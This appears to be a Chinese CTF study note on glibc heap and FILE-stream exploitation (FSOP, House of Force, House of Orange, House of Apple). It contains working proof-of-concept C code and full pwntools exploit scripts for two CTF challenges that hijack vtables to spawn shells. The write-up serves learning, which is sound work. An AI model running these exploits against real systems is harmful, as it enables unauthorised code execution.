IO结构
File结构
在 Linux/glibc 里,stdin/stdout/stderr 不是直接对 fd 操作,而是一个结构体。
当程序创建一个 FILE 时,例如:
1
| FILE *fp = fopen("a.txt","w");
|
glibc 会把这个 FILE 插入链表:
伪代码:
1 2
| fp->_chain = _IO_list_all; _IO_list_all = fp;
|
所以新的 FILE 会插在链表头。
1 2 3 4 5
| struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; }
|
程序里 FILE* 实际指向的是 _IO_FILE_plus 的开头地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| struct _IO_FILE { int _flags;
char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base;
char *_IO_write_base; char *_IO_write_ptr; char *_IO_write_end;
char *_IO_buf_base; char *_IO_buf_end;
struct _IO_FILE *_chain;
int _fileno;
struct _IO_wide_data *_wide_data; }; const struct _IO_jump_t *vtable; 32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8
|
每个 FILE 类型会使用不同的 vtable,vtable指向不同的_IO_jump_t
1 2 3 4 5 6 7 8 9
| _IO_jump_t │ ├── overflow ├── underflow ├── xsputn ├── xsgetn ├── seek ├── close └── finish
|
| 文件类型 |
vtable |
| 普通文件 |
_IO_file_jumps |
| 宽字符文件 |
_IO_wfile_jumps |
| 字符串流 |
_IO_str_jumps |
| mmap 文件 |
_IO_file_jumps_mmap |
1 2 3 4 5 6
| struct _IO_FILE_plus ┌──────────────────────────────┐ │ struct _IO_FILE file; │ ← FILE 的各种字段:flags、缓冲、_chain、_fileno、_wide_data... ├──────────────────────────────┤ │ const struct _IO_jump_t *vtable│ ← vtable 指针(函数表指针) └──────────────────────────────┘
|
_IO_FILE_complete 的核心作用是:在 _IO_FILE 基础上再追加更多字段(offset、codecvt、wide_data、_mode 等),用于更完整的功能和兼容。
1 2 3 4 5 6 7 8 9 10
| struct _IO_FILE_complete ┌──────────────────────────────┐ │ struct _IO_FILE _file; │ ← 基础 FILE 部分 ├──────────────────────────────┤ │ __off64_t _offset; │ │ struct _IO_codecvt *_codecvt;│ │ struct _IO_wide_data *_wide_data;│ │ ... │ │ int _mode; │ └──────────────────────────────┘
|
可以理解为
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| _IO_FILE_plus │ ├── _IO_FILE / _IO_FILE_complete (主体字段区) │ │ │ ├── flags │ ├── read buffer │ ├── write buffer │ ├── buf │ ├── _chain │ ├── fileno │ ├── _wide_data │ └── _mode │ └── vtable (struct _IO_jump_t*)
|
以:
为例。
执行流程:
1 2 3 4 5 6 7 8 9 10 11 12 13
| fprintf ↓ vfprintf ↓ _IO_new_file_xsputn ↓ write_ptr 写入 buffer ↓ 如果 buffer 满 ↓ _IO_file_overflow ↓ write()
|
示意:
1 2 3 4 5 6 7 8 9 10 11 12 13
| 程序 │ fprintf │ vfprintf │ xsputn │ write buffer │ overflow │ write syscall
|
也就是:
1 2
| 取出 vtable 指针 跳转到里面的函数地址执行
|
这一步本质就是:
1 2
| mov rax, [stdout+offset_vtable] call [rax+offset_func]
|
还有退出的return 0;以及 exit(0);调用libc中的函数离开
1 2 3 4 5 6 7 8
| for (fp = _IO_list_all; fp; fp = fp->_chain) { if (需要 flush) _IO_OVERFLOW(fp, EOF); } _IO_OVERFLOW(fp) ↓ fp->vtable->overflow(fp)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| exit │ __run_exit_handlers │ _IO_cleanup │ _IO_flush_all_lockp │ 遍历 _IO_list_all │ for each FILE │ _IO_OVERFLOW(fp) │ fp->vtable->overflow(fp) │ _IO_new_file_overflow │ _IO_do_write │ write syscall
|
eg:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #define system_ptr 0x7ffff7a52390; int main(void) { FILE *fp; long long *vtable_addr,*fake_vtable;
fp=fopen("123.txt","rw"); fake_vtable=malloc(0x40);
vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset vtable_addr[0]=(long long)fake_vtable; """ 代码将原本指向系统默认 _IO_file_jumps 的指针,改为了指向攻击者在堆上创建的 fake_vtable。 结果:从此以后,对 fp 进行的任何文件操作,都会去 fake_vtable 里找函数。 """
memcpy(fp,"sh",3);//因为会把伪造的File地址当作第一个参数传入,所以把它赋值为sh fake_vtable[7]=system_ptr; //xsputn fwrite("hi",2,1,fp); }
|
通过在堆上伪造一个虚函数表(vtable),并将文件指针指向这个伪造表,从而劫持程序流。
如果能改 vtable就能控制函数调用跳转
这就是 FSOP(File Stream Oriented Programming)[FSOP原理](FSOP - CTF Wiki)
前提:House of Force
这个比 House of Orange 简单得多,而且它是理解 top chunk 利用 的基础。
适用场景也常见:
👉 只有 heap overflow
👉 没有 free / UAF
👉 无法操作 bins
即2.23之前稳定使用,在之后加入了top_chunk的检查
1 2
| 修改 top chunk size → 控制下一次 malloc 返回地址 漏洞点在于它完全信任top->size
|
本质是一种任意地址分配
例题
gyctf_2020_force
题目中只有add和show,其中add存在堆溢出,可写进入0x50个字节

计算top_chunk和malloc_hook的偏移,把它覆盖为one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import * import sys from LibcSearcher import *
file_path = "./gyctf_2020_force" remote_host = "192.168.137.1" remote_port = 2121 context(arch='amd64', os='linux', log_level='debug')
context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ]
elf = ELF(file_path) libc = elf.libc
if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path)
def dbg(): gdb.attach(p) pause()
def sla(a, b): p.sendlineafter(a, b) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b)
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size, content): p.recvuntil("2:puts\n") p.sendline('1') p.recvuntil("size\n") p.sendline(str(size)) p.recvuntil("bin addr ") addr = int(p.recvuntil('\n').strip(), 16) p.recvuntil("content\n") p.send(content) return addr
def show(index): p.recvuntil("2:puts\n") p.sendline('2')
libc.address = add(0x200000, 'chunk0\n') + 0x200ff0 success('libc_base ' + hex(libc.address)) heap_addr = add(0x18, b'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) success("heap_addr: " + hex(heap_addr)) #先找topchunk地址和libc基址
#接着计算malloc_hook和top_chunk_addr之间的距离 top = heap_addr + 0x10 off=libc.sym['__malloc_hook']- top-0x30 one_gadget =0x4526a+ libc.address realloc = libc.sym["__libc_realloc"] #add出这个中间块,下一个就是malloc_hook的地址了 add(off, 'aaa\n') add(0x20,b'bbbbbbbb'+p64(one_gadget)+p64(realloc+4))
p.recvuntil("2:puts\n") p.sendline('1') p.recvuntil("size\n") p.sendline(str(20))
p.interactive()
|
参考ZIKH26师傅找realloc偏移的调试
disassemble realloc

6个push,一个sub rsp,0x38

要求是rsp+0x30为0
执行一定数量的push和sub rsp,0x38指令(因为可以跳过一定个数的指令)。先考虑一下直接开始执行。这样到执行one_gadget之前有6个push和一个sub rsp,0x38指令,这将栈帧抬高了0x68(0x8*6+0x38),但是别忘了由于多call了一次(call了realloc函数,然后又去call one_gadget,但是原本只有一次call one_gadget),因此多执行了一次压栈指令,所以最终直接执行realloc函数,栈帧抬高了0x70字节(就是将原本的rsp变成了rsp-0x70)
如果执行realloc函数栈帧最少抬高多少呢?
最少肯定是只抬高八字节(也就是仅仅多了一次call时执行的压栈指令),这里我们先不考虑这种情况,假设必须要执行一次对栈操作指令,那么执行一次realloc函数最少应该抬高0x40个字节(sub rsp,0x38让rsp-0x38再加上call时的压栈指令)
现在我已经发现四个one_gadget全部失效,然后我想看看其中一个one_gadget [rsp+0x30]经过调整栈帧后能否使用,先去看rsp-0x70与rsp-0x10 这个范围是否存在值为0的内存。
而且如下图,让rsp上移0x60就好

基础:House of Orange
适用范围glibc 2.23 ~ glibc 2.26
[House of Orange原理](House of Orange - CTF Wiki)
fp —> [ _IO_FILE (0xd8字节) ……………….. ]
[ vtable指针(8字节) ]
glibc 堆利用里比较经典的一种技巧(适用于 旧版 glibc:2.23 左右,无 tcache)。它的核心思想不是打 fastbin / smallbin,而是:通过伪造 top chunk → 触发 sysmalloc → 操纵 unsorted bin → 劫持 _IO_list_all → 利用 FSOP 拿控制流
1 2 3 4 5 6 7 8 9 10 11 12 13
| 溢出修改 top chunk size ↓ 申请大块触发 sysmalloc ↓ 旧 top 被放进 unsorted bin ↓ 伪造 unsorted chunk 覆盖 _IO_list_all ↓ 构造 fake FILE ↓ malloc -> abort -> _IO_flush_all_lockp ↓ 执行 vtable → system("/bin/sh")
|
当申请了一个chunk后会检测top chunk的大小是否能够分配我们希望申请大小的chunk,满足则从top chunk上分出对应大小的chunk,若不满足则会将old top chunk放入unsorted bin中并执行下列函数重新映射一块top chunk
1 2 3 4 5 6 7 8 9
| /* Otherwise, relay to handle system-dependent cases */ else { void *p = sysmalloc(nb, av); if (p != NULL && __builtin_expect (perturb_byte, 0)) alloc_perturb (p, bytes); return p; }
|
执行 sysmalloc 来向系统申请更多的空间。 但是对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,让原有的 top chunk 置于 unsorted bin 中。
综上,我们要实现 brk 拓展 top chunk,但是要实现这个目的需要绕过一些 libc 中的 check。 首先,malloc 的尺寸不能大于mmp_.mmap_threshold(128kb),其次还会校验old top_size
1 2 3 4
| assert((old_top == initial_top(av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long)old_end & pagemask) == 0));
|
- 伪造的 size 必须要对齐到内存页(n*0x1000)
- size 要大于 MINSIZE(0x10)
- size 要小于之后申请的 chunk size + MINSIZE(0x10)
- size 的 prev inuse 位必须为 1
之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中。
正常的“更新”逻辑
通常,当 Top Chunk 空间不足时,malloc 会调用 sysmalloc。
- 动作:内核通过
sbrk 或 mmap 给堆增加一块新内存(比如 0x21000 字节)。
- 结果:新内存紧跟在旧 Top Chunk 后面,Glibc 简单地把旧 Top Chunk 的
size 加上新内存的大小,合二为一。这就是你理解的“更新”。
2. House of Orange 场景下的“释放”逻辑
当你把 Top Chunk 的 size 伪造为 0xc01 时,你破坏了它与内核内存边界的连续性。
当 sysmalloc 被调用时,它会进行一系列检查。关键代码逻辑如下:
Glibc 内部逻辑简述: 如果 (伪造的 size) 加上 (Top Chunk 的起始地址) 不等于 (当前堆的末尾地址 av->top_end):
- Glibc 认为这块旧的 Top Chunk 已经“断开了”,不能再通过简单的
size += new_size 来更新。
- 它会认为这块旧内存是“孤儿”,于是调用
_int_free 将其释放到 Unsorted Bin 中。
- 然后,它会从新申请的内核内存中划分出一个全新的 Top Chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h>
/* House of Orange 利用堆溢出破坏 _IO_list_all 指针。 这需要泄露堆地址和 libc 地址。 鸣谢: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html */ int winner ( char *ptr); int main() { /* 在程序开始执行时,整个堆空间都是 Top chunk 的一部分。 最初的分配通常是从 Top chunk 中切下的块。 因此,随着每次分配,Top chunk 会不断变小。 当请求的大小大于 Top chunk 的剩余大小时,有两种可能性: 1) 扩展 Top chunk 2) 使用 mmap 分配新页面 如果请求的大小小于 0x21000,则会执行前者(扩展)。 */
char *p1, *p2; size_t io_list_all, *top;
fprintf(stderr, "此技术的攻击向量在 2.26 版本中被移除,因为修改了 malloc_printerr 的行为," "它不再调用 _IO_flush_all_lockp (提交哈希: 91e7cf98...)\n"); fprintf(stderr, "自 glibc 2.24 起,_IO_FILE 的 vtable 会经过白名单检查,这破坏了此利用方式," "详情见: https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
/* 首先,在堆上分配一个块。 */ p1 = malloc(0x400-16);
/* 通常堆分配时的初始 Top chunk 大小为 0x21000。 由于我们已经分配了 0x400 的块,剩下的是 0x20c00,且设置了 PREV_INUSE 位 => 0x20c01。 必须满足两个始终为真的条件: 1) Top chunk 地址 + 大小 必须是页对齐的。(size是n*0x1000) 2) Top chunk 的 prev_inuse 位必须设置为 1。
如果我们把 Top chunk 的大小修改为 0xc00 | PREV_INUSE,就可以满足条件。 此时剩下的是 0x20c01。 */
top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01;
/* 现在我们请求一个比当前 Top chunk 还要大的块。 Malloc 会尝试通过扩展 Top chunk 来满足请求, 这会强制调用 sysmalloc。
在通常情况下,堆的布局如下: |------------|------------|------...----| | chunk | chunk | Top ... | |------------|------------|------...----| 堆起始 堆结束
新分配的区域与旧堆末尾相连。 因此,新 Top chunk 的大小是旧大小与新分配大小之和。
为了跟踪这种大小变化,malloc 会使用一个 fencepost chunk(隔离块), 这基本上是一个临时块。
在 Top chunk 的大小更新后,这个(旧的)块会被释放。
然而在我们的场景中,堆看起来像这样: |------------|------------|------..--|--...--|---------| | chunk | chunk | Top .. | ... | new Top | |------------|------------|------..--|--...--|---------| 堆起始 堆结束
在这种情况下,新的 Top chunk 将从与堆结束地址相邻的地址开始。 因此,第二个块和堆结束地址之间的区域是未使用的。 旧的 Top chunk 会被释放。 由于旧 Top chunk 被释放时的大小大于 fastbin,它会被添加到 unsorted bin 列表中。 最终堆的布局如下: |------------|------------|------..--|--...--|---------| | chunk | chunk | free .. | ... | new Top | |------------|------------|------..--|--...--|---------| 堆起始 新堆结束 */
p2 = malloc(0x1000); /* 注意:上述块将分配在通过 mmap 分配的不同页面中。 它会被放置在旧堆结束地址之后。 现在我们剩下了一个被释放并加入到 unsorted bin 列表中的旧 Top chunk。
利用溢出覆盖 unsorted bin 列表中该块的 fd 和 bk 指针。 有两种利用当前状态的常见方法: - 通过设置指针实现任意地址分配(至少需要两次分配)。 - 利用 chunk 的脱链(unlinking)对 libc 的 main_arena unsorted-bin-list 进行“写向何处”的控制(至少需要一次分配)。
前一种攻击比较直接,因此我们将详细说明后一种的变体,由 Angelboy 在上述博客中开发。
这个攻击非常精妙,它利用了 libc 检测到堆状态异常时触发的 abort 调用。 每当触发 abort 时,它都会通过调用 _IO_flush_all_lockp 刷新所有文件指针。 最终会遍历 _IO_list_all 中的链表,并对它们调用 _IO_OVERFLOW。
思路是将 _IO_list_all 指针覆盖为一个伪造的文件指针,其 _IO_OVERFLOW 指向 system, 且前 8 个字节设置为 '/bin/sh'。 这样调用 _IO_OVERFLOW(fp, EOF) 就等同于 system('/bin/sh')。
_IO_list_all 的地址可以通过 free chunk 的 fd 和 bk 计算得出,因为它们目前指向 libc 的 main_arena。 */
io_list_all = top[2] + 0x9a8;
/* 我们计划覆盖旧 top chunk 的 fd 和 bk 指针(它现在在 unsorted bin 中)。
当 malloc 尝试通过分割这个空闲块来满足请求时, chunk->bk->fd 的值会被覆盖为 libc main_arena 中 unsorted-bin-list 的地址。
注意:这种覆盖发生在完整性检查之前,因此在任何情况下都会发生。
这里,我们要求 chunk->bk->fd 是 _IO_list_all 的值。 所以,我们应该将 chunk->bk 设置为 _IO_list_all - 16 (0x10)。 */ top[3] = io_list_all - 0x10;
/* 最后,system 函数将以指向此文件指针的指针作为参数被调用。 如果我们把前 8 个字节填入 /bin/sh,就相当于 system("/bin/sh")。 */
memcpy( ( char *) top, "/bin/sh\x00", 8);
/* _IO_flush_all_lockp 函数会遍历 _IO_list_all 中的文件指针链表。 由于我们只能用 main_arena 的 unsorted-bin-list 地址覆盖它, 所以思路是控制对应 fd 指针处的内存。 下一个文件指针的地址位于 base_address+0x68。 这对应于 smallbin-4,它保存所有大小在 90 到 98 之间的 smallbin。
由于我们溢出了旧的 top chunk,我们也控制了它的 size 字段。 这里有一点技巧:目前旧 top chunk 在 unsorted bin 列表中。 对于每次分配,malloc 都会先尝试处理此列表中的块,因此会遍历列表。 此外,它会将所有不匹配的块归类到相应的 bin 中。 如果我们把大小设置为 0x61 (97)(必须设置 prev_inuse 位), 并触发一个不匹配的小内存分配,malloc 会将旧块归类到 smallbin-4 中。 由于该 bin 目前为空,旧 top chunk 将成为新的头部, 从而占据 main_arena 中的 smallbin[4] 位置,并最终充当伪造文件指针的 fd 指针(即 _chain 字段)。
除了分类,malloc 还会对它们执行大小检查。在分类旧 top chunk 并跟随伪造的 fd 指针到达 _IO_list_all 后, 它会检查相应的大小字段,发现大小小于 MINSIZE (size <= 2 * SIZE_SZ), 最终触发 abort 调用,启动我们的利用链。 */
top[1] = 0x61;
/* 现在我们需要满足 _IO_flush_all_lockp 函数对伪造文件指针的约束。 我们需要满足第一个条件: fp->_mode <= 0 且 fp->_IO_write_ptr > fp->_IO_write_base */
FILE *fp = (FILE *) top;
/* 1. 设置 mode 为 0: fp->_mode <= 0 */ fp->_mode = 0; // 偏移为 top+0xc0
/* 2. 设置 write_base 为 2,write_ptr 为 3: fp->_IO_write_ptr > fp->_IO_write_base */ fp->_IO_write_base = (char *) 2; // 偏移为 top+0x20 fp->_IO_write_ptr = (char *) 3; // 偏移为 top+0x28
/* 4) 最后设置跳转表(vtable)到受控内存,并将 system 地址放在那里。 跳转表指针紧跟在 FILE 结构体之后: base_address + sizeof(FILE) = jump_table
4-a) _IO_OVERFLOW 调用偏移为 3 的指针:jump_table + 0x18 == winner */
size_t *jump_table = &top[12]; // 受控内存 jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // 偏移为 top+0xd8
/* 最后,通过调用 malloc 触发整个链条 */ malloc(10);
/* 虽然 libc 的错误信息会打印到屏幕上, 但你无论如何都会获得一个 shell。 */
return 0; }
int winner(char *ptr) { system(ptr); syscall(SYS_exit, 0); return 0; }
|
1 2 3
| p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01;
|
拿到top的值之后改为合适size的小值

malloc让那个topchunk进入unsorted bin

拿到IO_list_all的地址改这个unsorted bin的fd,让IO_list_all指向main_arena
通过unsorted bin的改变把brk(io_list_all)->main_arena,伪造这个IO
1 2
| io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10;
|


之后就是为IO结构体做准备了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| >old_top = av->top;//原本old top chunk的地址 old_size = chunksize (old_top);//原本old top chunk的size old_end = (char *) (chunk_at_offset (old_top, old_size));//old top chunk的地址加上其size
brk = snd_brk = (char *) (MORECORE_FAILURE);
/* If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. */
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
|
TOP_chunk的合法性校验
1 2 3 4 5 6 7
| memcpy( ( char *) top, "/bin/sh\x00", 8);//参数 top[1] = 0x61;//改变size,main_arena中这个smallbin的存储地对应chain FILE *fp = (FILE *) top;//记录这个伪IO表头 fp->_mode = 0;//mode校验 fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28 //起始位置校验
|
p/x &((struct _IO_FILE*)0)->_chain
参考

存储smallbin[4]fd,bk,bk_addr-io_list_all=0x68

接着伪造虚函数表
1 2 3 4
| size_t *jump_table = &top[12]; // 伪造的受控内存vtable的位置 jump_table[3] = (size_t) &winner;//对应的虚函数是 _IO_OVERFLOW改为后门函数 *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8,把伪造的vtable改为真的 malloc(10);//触发
|
为什么调用 malloc(10) 就能拿 Shell?
这看起来是一个普通的内存分配,但在 House of Orange 中,它是引信:
- 触发异常:之前我们通过
top[1] = 0x61 和 top[3] = io_list_all - 0x10 破坏了堆的完整性。当执行 malloc(10) 时,glibc 在整理 unsorted bin 时会检测到这些破坏。
- 强制终止:由于检测到堆损坏(Heap corruption),
glibc 会调用 malloc_printerr 报错,并最终调用 abort()。
- 刷新文件流:在
abort() 彻底杀掉进程前,glibc 会为了保存数据而调用 _IO_flush_all_lockp,它会遍历所有的 FILE 结构体并尝试刷新缓冲区。
- 落入陷阱:
- 此时
_IO_list_all 已经被我们通过 Unsorted Bin Attack 篡改。
- 链表会遍历到我们伪造的
fp。
- 由于满足了
_mode <= 0 和 write_ptr > write_base 的约束,系统会认为该文件需要刷新。
- 系统查阅
vtable(也就是 jump_table),并调用其中的 _IO_OVERFLOW(索引 3)。
- 劫持成功:执行流跳转到
winner 地址,弹出 Shell。
1 2
| smallbin[n].fd 偏移 = 0x70 + (2 + 2n) × 8 smallbin[n].bk 偏移 = 0x70 + (3 + 2n) × 8
|
| 索引 (Index) |
对应函数 |
触发方式 |
[3] |
_IO_OVERFLOW |
最常用: fflush, fclose, 或 fwrite 缓冲区满时触发 |
[4] |
_IO_UNDERFLOW |
fread 缓冲区空时触发 |
[7] |
_IO_XSPUTN |
fwrite, fputs, printf 等输出函数 |
[8] |
_IO_XSGETN |
fread, fgets, scanf 等输入函数 |
[13] |
_IO_SETBUF |
setvbuf 等函数 |
但是打FROP的成功率是1/2[原因](关于house of orange(unsorted bin attack &&FSOP)的学习总结 - ZikH26 - 博客园)
例题
houseoforange_hitcon_2016
没有free函数
add
有一个管理chunk,然后在chunk[1]处放置作用的chunk,但是只能malloc4次

edit
自定义输入字节,存在溢出,但是只能改3次

show
展示作用chunk的内容

思路
先house_of_orange把top_chunk放入unsortedbin,
然后把它切割一块出来,根据其fd和fd_nextsize泄露libc_base和heap_base
并拿到io_list_all的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| add(0x10,b"aaa") edit(0x100,b"a"*0x38+p64(0xfa1)) add(0x1000,b"aaa") add(0x400,b"11111111") show(2) ru(b"Name of house : ") libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3c5188 print(hex(libc_base)) edit(0x10,b"a"*0x10) show(2) ru(b"a"*0x10) heap_base= u64(p.recv(6).ljust(8,b"\x00")) print(hex(heap_base)) io_list_all=libc_base+libc.sym["_IO_list_all"]
|

根据双向链表的特征把io_list_all绑定到main_arena去伪造FILE,并且通过溢出构造IO结构绕过检测:前一个chunk是使用状态,top_chunk的size伪造为0x61,对应chain, _IO_write_base<_IO_write_ptr,伪造vtable,并且把vtable中的overflow伪造为我们的system函数,注意vtavble的偏移是0xd8,参数bin/sh放置在这个topchunk的头部
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| payload = flat(p64(0) * 3, p64(libc_base + libc.sym["system"]),#overflow 0x400 * b"\x00", b"/bin/sh\x00", 0x61,#new_top_chunk——size 0, io_list_all-0x10,#bk->main_arena 0, # _IO_write_base 0x1, # _IO_write_ptr 0xa8 * b"\x00",#vtable偏移是0xd8 heap_base+0x10#vtable ) edit(0x600,payload) sla(b"Your choice : ",str(1))
|

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| from pwn import * import sys from LibcSearcher import *
file_path = "./houseoforange_hitcon_2016" remote_host = "192.168.137.1" remote_port = 2121 context(arch='amd64', os='linux', log_level='debug')
context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ]
elf = ELF(file_path) libc = ELF("libc-2.23_x64_16.so") # p=remote("node5.buuoj.cn",26675) if 're' in sys.argv: p=remote("node5.buuoj.cn",26675) else: p = process(file_path) # gdb.attach(p, """ # b *0x08048666 # c # """, api=True)
def dbg(): gdb.attach(p) pause() def sla(a, b):p.sendlineafter(a, b) def ru(a):p.recvuntil(a) def sa(a, b):p.sendafter(a, b)
def add(length: int, name, price: int = 0xff, color: int = 1): p.sendlineafter("Your choice : ", "1") p.sendlineafter("Length of name :", str(length)) p.sendafter("Name :", name) p.sendlineafter("Price of Orange:", str(price)) p.sendlineafter("Color of Orange:", str(color)) p.recvuntil("Finish\n")
def show(num): p.sendlineafter("Your choice : ", str(num))
def edit(length: int, name, price: int = 0xff, color: int = 1): p.sendlineafter("Your choice : ", "3") p.sendlineafter("Length of name :", str(length)) p.sendafter("Name:", name) p.sendlineafter("Price of Orange: ", str(price)) p.sendlineafter("Color of Orange: ", str(color)) p.recvuntil("Finish\n")
add(0x10,b"aaa") edit(0x100,b"a"*0x38+p64(0xfa1)) add(0x1000,b"aaa") add(0x400,b"11111111") # dbg() show(2) ru(b"Name of house : ") libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3c5188 print(hex(libc_base)) edit(0x10,b"a"*0x10) show(2) ru(b"a"*0x10) heap_base= u64(p.recv(6).ljust(8,b"\x00")) print(hex(heap_base)) io_list_all=libc_base+libc.sym["_IO_list_all"] # dbg()
payload = flat(p64(0) * 3, p64(libc_base + libc.sym["system"]),#overflow 0x400 * b"\x00", b"/bin/sh\x00", 0x61,#new_top_chunk——size 0, io_list_all-0x10,#bk->main_arena 0, # _IO_write_base 0x1, # _IO_write_ptr 0xa8 * b"\x00", heap_base+0x10#vtable )
edit(0x600,payload) # dbg() sla(b"Your choice : ",str(1))
p.interactive()
|
House of apple
原创\ House of apple 一种新的glibc中IO攻击方法 (1)-Pwn-看雪安全社区|专业技术交流与安全研究论坛
glibc 新版本加入:
检查:
原有的orange失效
IO_wfile_overflow()
当程序退出(return/exit)触发清理链:
_IO_flush_all_lockp 会遍历 _IO_list_all,对每个 fp 做 flush
- flush 的过程中会调用类似
_IO_OVERFLOW(fp) 的入口(概念上就是“把缓冲刷出去/处理溢出”)
关键在于:overflow 这一步不一定永远走同一套实现。
glibc 有两套 jump table:
_IO_file_jumps->_IO_file_overflow()
_IO_wfile_jumps->_IO_wfile_overflow()
在 _IO_FILE_complete中有一个int _mode;
1 2 3 4
| if (fp->_mode > 0) 使用 wide 函数 else 使用 normal 函数
|
并且wide_vtable 没有检查,可以通过fp->_wide_data->_wide_vtable走任意函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| exit │ _IO_cleanup │ _IO_flush_all_lockp │ 遍历 _IO_list_all │ _IO_OVERFLOW(fp) │ _IO_wfile_overflow//fp->vtable = &_IO_wfile_jumps (或同系列合法 wfile jumps) │ _IO_wdoallocbuf │ _IO_WDOALLOCATE │ fp->_wide_data->_wide_vtable->doallocate(fp)
|
源码分析用户ptqqXPAYzK
_IO_flush_all_lockp
条件1:fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
条件2:fp->vtable = IO_wfile_jumps
_IO_wfile_overflow
我们的目的是要执行_IO_wdoallocbuf
条件3:f->_flags & _IO_CURRENTLY_PUTTING) == 0
f->wide_data->_IO_write_base == 0
_IO_wdoallocbuf
最后会执行_IO_WDOALLOCATE这个宏定义,并以io_file结构体地址为参数,准确来说这个宏定义展开之后是一个函数指针,所以最终目的就是把这个函数指针劫持为system函数。
而这个”函数指针“在哪呢? fp->wide_data->_wide_vtable->__doallocate
把__doallocate改成system就好了。
条件4:fp->wide_data->_wide_vtable->__doallocate = system
fp->_flags = sh
setcontext
且ucontext_t 本质是:一个结构体,里面存着所有CPU寄存器(相当于CPU快照)
目标:让 libc 自己调用 setcontext,setcontext 恢复攻击者伪造的CPU状态
1
| _wide_vtable->doallocate= setcontext+61
|
vtable 不是“函数指针”,而是“函数表结构”。不能直接把setcontext 代码给他
通常是直接执行setcontext+61,因为该函数开头有一些校验函数
1 2
| mov rdi, fp call [wide_vtable + offset]
|
变成
1 2
| mov rdi, fp call setcontext+61
|
此时rdi是fp
且setcontext(ucontext_t *ctx);,所以RDI 必须指向一个合法 ucontext_t,让 FILE 内存布局 ≈ ucontext 布局
就叫Context Overlap(结构体重叠)
1 2 3 4 5 6 7 8 9 10 11 12 13
| fake FILE ↓ 作为 fp 进入调用 ↓ wide_vtable = setcontext+61 ↓ setcontext(fp) ↓ fp 同时是 fake ucontext ↓ 恢复攻击者寄存器 ↓ ROP
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| #include<stdio.h> #include<stdlib.h> #include<stdint.h> #include<unistd.h> #include<string.h> int main(void) { setbuf(stdout, 0); setbuf(stdin, 0); setbuf(stderr, 0); char *p1 = calloc(0x200, 1); char *p2 = calloc(0x200, 1);
